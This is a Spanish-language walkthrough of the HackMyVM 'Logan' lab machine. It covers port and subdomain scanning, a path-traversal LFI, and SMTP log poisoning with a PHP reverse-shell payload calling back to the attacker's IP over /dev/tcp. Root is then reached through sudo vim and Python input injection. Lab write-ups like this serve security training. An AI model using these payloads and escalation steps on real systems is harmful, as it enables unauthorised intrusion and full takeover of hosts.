HackMyVM - Logan

logo

  • LFI - Path Traversal Sequences Stripped Non-Recursively
  • Log Poisoning - Method POST
  • Abusing Vim Binary
  • Abusing Python Script

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.14

PORT   STATE SERVICE
25/tcp open  smtp
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 25,80 192.168.1.14

PORT   STATE SERVICE VERSION
25/tcp open  smtp    Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: logan.hmv, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=logan
| Subject Alternative Name: DNS:logan
| Issuer: commonName=logan
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-07-03T13:46:49
| Not valid after:  2033-06-30T13:46:49
| MD5:   9b0d3da47274a99c8b9e705a122f249f
|_SHA-1: ef60c55ce4bfe99ac4bb3281f2c4ded5d44b4801
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host:  logan.hmv

Si visito el puerto 80 me redirige a logan.hmv.

redireccion

Añado el dominio a mi archivo hosts y vuelvo a visitar el sitio.

logan_hmv

Al no encontrar nada en la web hago un escaneo de subdominios y encuentro el subdominio admin.

❯ wfuzz -t 10 -c --hl=1 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.logan.hmv" http://logan.hmv
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://logan.hmv/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000024:   200        62 L     101 W      1112 Ch     "admin"

Añado el subdominio al archivo hosts y visito el nuevo subdominio.

administration_panel

Upload files

upload

Logs

clearlogsLogan

Payments

payments

Con burpsuite intercepto la petición de payments y después de unos minutos encuentro un LFI con path traversal sequences stripped non-recursively.

lfi_path_t

Me conecto al servicio smtp a través de netcat para mandar un correo al usuario www-data.

❯ nc logan.hmv 25
220 logan.hmv ESMTP Postfix (Ubuntu)
EHLO logan.hmv
250-logan.hmv
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
VRFY www-data@logan.hmv
252 2.0.0 www-data@logan.hmv
MAIL FROM: noname@fakemail.com
250 2.1.0 Ok
RCPT TO: www-data@logan.hmv
250 2.1.5 Ok

En el campo DATA pongo una php_shell apuntando a mi máquina.

DATA
354 End data with <CR><LF>.<CR><LF>
<?php exec("bash -c 'bash -i >& /dev/tcp/192.168.1.18/443 0>&1'");?>
.
250 2.0.0 Ok: queued as 8FBB860A4B
quit
221 2.0.0 Bye

Con curl reviso el log para comprobar que se ha mandado el mensaje.

mail_log

Activo al shell escribiendo la siguiente línea en el textbox.

....//....//....//....//....//var/mail/www-data

payments_shell

En este paso yo he tenido problemas, al realizar varias pruebas los logs se rompen e impiden que la shell se ejecute correctamente, lo he solucionado con:

  • Borrar logan.ova
  • Importar logan.ova.

Añadiendo una tarea cron que borre los logs al iniciar la máquina solventaría este pequeño “bug” y sólo sería necesario reiniciar la vm en vez de eliminarla y volverla a importar 😉.

Obtengo la shell.

❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 43380
bash: cannot set terminal process group (884): Inappropriate ioctl for device
bash: no job control in this shell
www-data@logan:/var/www/admin$ id    
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumero permisos de sudo.

www-data@logan:/var/www/admin$ sudo -l

Matching Defaults entries for www-data on logan:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on logan:
    (logan) NOPASSWD: /usr/bin/vim

Realizo el movimiento lateral con este recurso de gtfobins.

www-data@logan:/var/www/admin$ sudo vim -c ':!/bin/sh'
[ENTER]
script /dev/null -c bash

Como usuario logan leo la nota to-do.

logan@logan:~$ cat to-do 
- Go outside
- Try the new script that gave me root to learn python

Enumero de nuevo permisos de sudo.

logan@logan:~$ sudo -l

Matching Defaults entries for logan on logan:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User logan may run the following commands on logan:
    (root) NOPASSWD: /usr/bin/python3 /opt/learn_some_python.py

Lanzo el script learn_some_python.py.

logan@logan:~$ sudo /usr/bin/python3 /opt/learn_some_python.py

Welcome!!!

 The first you need to now is how to use print, please type print('hello')

Obtengo el root de la siguiente forma.

logan@logan:~$ sudo /usr/bin/python3 /opt/learn_some_python.py

Welcome!!!

 The first you need to now is how to use print, please type print('hello')

__import__('os').system('/bin/bash')

root@logan:/home/logan# id
uid=0(root) gid=0(root) groups=0(root)

Y aquí termina la máquina Logan.

Saludos!